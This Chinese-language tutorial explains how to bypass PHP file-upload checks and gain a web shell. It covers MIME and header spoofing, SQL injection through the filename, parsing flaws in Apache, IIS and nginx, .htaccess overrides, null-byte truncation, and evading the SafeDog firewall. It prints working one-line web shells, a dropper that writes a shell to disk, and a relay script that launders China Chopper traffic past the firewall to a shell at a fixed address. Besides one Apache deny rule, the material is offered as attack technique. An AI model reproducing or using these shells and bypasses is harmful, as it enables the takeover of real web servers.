正常情况下PHP上传文件的代码一般都是下面这个样子的。

<html>
    <form action="upload.php" method="post" enctype="multipart/form-data" />
        <div>
            <input type="hidden" name="MAX_FILE_SIZE" value="100000000" />
            <label for="userfile">Upload a file:</label>
            <input type="file" name="userfile" id="userfile" />
            <input type="submit" value="Send File">
        </div>
    </form>

</html>

<?php
    
    // print_r($_FILES['userfile']);

    if ($_FILES['userfile']['error'] > 0) {
        echo 'Problem:';
        switch ($_FILES['userfile']['error']) {
            case 1:
                echo "File exceeded upload_max_size";
                break;
            case 2:
                echo "File exceeded upload max file size";
                break;
            case 3:
                echo "File only partially upload";
                break;
            case 4:
                echo 'No file uploaded';
                break;
            case 6:
                echo "Cannot upload file: No temp directory specified.";
                break;
            case 7:
                echo "Upload failed: Cannot write to disk.";
                break;
            default:
                # code...
                break;
        }
        exit;
    }


    if ($_FILES['userfile']['type'] != 'text/plain') {
        echo 'Problem: file is not plain text';
        exit;
    }

    $upfile = './upload/'.$_FILES['userfile']['name'];

    if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
        if (!move_uploaded_file($_FILES['userfile']['tmp_name'], $upfile)) {
            echo 'Problem: Could not move file to destination directory.';
        }
    }
    else {
        echo 'Problem: Possible file upload attack. Filename:';
        echo $_FILES['userfile']['name'];
        exit;
    }

    echo "File uploaded successfully<br /><br />";

    $contents = file_get_contents($upfile);
    $contents = strip_tags($contents);
    file_put_contents($_FILES['userfile']['name'], $contents);

    echo "<p>Preview of uploaded file contents: <br/><hr/>";
    echo nl2br($contents);
    echo '<br /><hr />';
?>

但是总会出现一些上传绕过的问题。

0x1 客户端做javascript验证

对于这种情况,修改发出去的数据包就可以绕过了。例如只允许上传图片文件,那就把我们的马改成xx.jpg,然后拦截数据包改为xx.php之类的。

0x2 只验证了type是否为image/gif

这种情况其实也很容易绕过,伪造文件头为GIF89A就可以绕过一大片了。
拦截数据包改掉type也可以绕过一大片。

0x3 SQL注入

这里的注入是指文件名注入,如果直接把未经过滤的文件名拿去查询了,是有可能造成这种情况的。
例如
$query = "SELECT * FROM article WHERE filename='$filename' AND filetype='text'";
构造文件名:webshell.php.' or 'a'='a
上传后SQL查询就变成了:
$query = "SELECT * FROM article WHERE filename='webshell.php.' or 'a'='a' AND filetype='text'";

这里乱入一个apache解析漏洞。。

在windows+IIS6的情况下有文件名的解析漏洞,不清楚的童鞋自行google。在apache+PHP的环境下也存在一个解析漏洞。(比较老的洞了)
不管文件的后缀名是什么,只要是.php.*结尾的,就会被当作PHP来解析。
也就是说,如果我们上传了一个a.php.jpg的文件,apache仍然会将其作为php来解析。
原因其实很简单,aa.php.rar。Apache从右到左开始判断解析,如果不可解析再从左向右判断。这里先判断rar,不可解析,于是开始从左向右的判断,于是就变成了aa.php,解析了。。。
那么如何防御呢,很简单,只要禁止.php.*这样的文件执行就可以了。
在配置文件里加入:

<Files ~ "/.(php.|php3.)">
        Order Allow,Deny
        Deny from all
</Files>

这里乱入这个漏洞的原因是,这种SQL注入会GETSHELL!

0x4 解析漏洞

解析漏洞算是一个大类了,各种各样的都有。

  • IIS6的解析漏洞可谓是百发百中啊。高版本的IIS中其实也存在解析漏洞的。
    先来说IIS7.5的解析漏洞,前提是要有FCK,不过这东西现在越来越少了。
    在FCK里面上传a.aspx.a;.a.aspx.jpg..jpg
    然后菜刀直连就可以了。

  • 下面说说IIS7的解析漏洞。
    在默认Fast-CGI开启状况下,黑阔上传一个名字为aaa.jpg,内容为
    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

  • 除了IIS和Apache之外,nginx也存在一个解析漏洞,版本 0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
    Nginx在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

  • 还有一种比较特殊的解析问题,在windows中,xx.jpg[空格]xx.jpg.是不允许存在的。
    抓包改成类似这样的文件名,就可以绕过黑名单,若上传成功,空格和点都会被windows去掉。可以getshell了。

  • 如果.htaccess可以被上传的话。。直接写入
    <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
    将jpg文件设置为可被解析。

0x5 截断绕过

最常见的是%00绕过啦。如果GPC开了或者遇到高版本PHP,可以尝试HEX中20改为00。然后用nc发包。

0x6大小写

这个很简单了,不过有一些小技巧,如果过滤php为空的话,那就构造pphphp过滤后就会剩下php
还有两个奇葩的。。
x."php" x.'php

0x7How to kill dog

安全狗一直是我们的死对头,绕狗也是有一些办法的,但是实际情况不佳。

  • 在windows系统里,抓包,在文件名最后加一个←有可能绕过。

  • 还有一个很风骚的方法。
    图挂了。。忘了试啥了,好像是把数据包头部的某个字段多复制一份。。还是改大小写啥的。。

  • 还是抓包,然后把上传的文件名和文件内容复制一份,如果有if(security_check(a)){do(b)}问题的话,就会被绕过。

  • 一句话的绕过

<?php
$_REQUEST['a']($_REQUEST['b']);
?>

然后在浏览器里执行:
http://127.0.0.1/small.php?a=system&b=dir

  • 菜刀绕过
    在本地写个转发脚本
<?php
$target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
  if(strstr($v, "base64_decode"))
  {
    $v=str_replace("base64_decode(","",$v);
    $v=str_replace("))",")",$v);
  }
  else
  {
    if($k==="z0")
      $v=base64_decode($v);
  }
  $pp=$k."=".urlencode($v);
  //echo($pp);
  if($i!=0)
  {
    $poststr=$poststr."&".$pp;
  }
  else
  { 
    $poststr=$pp;
  }
  $i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

然后在菜刀里连接这个php,带上参数?a=assert

  • 大马怎么绕呢。。?当然是include大法。
    <?php include ('logo.txt') ?>
    把大马命名为logo.txt.上传就OK了。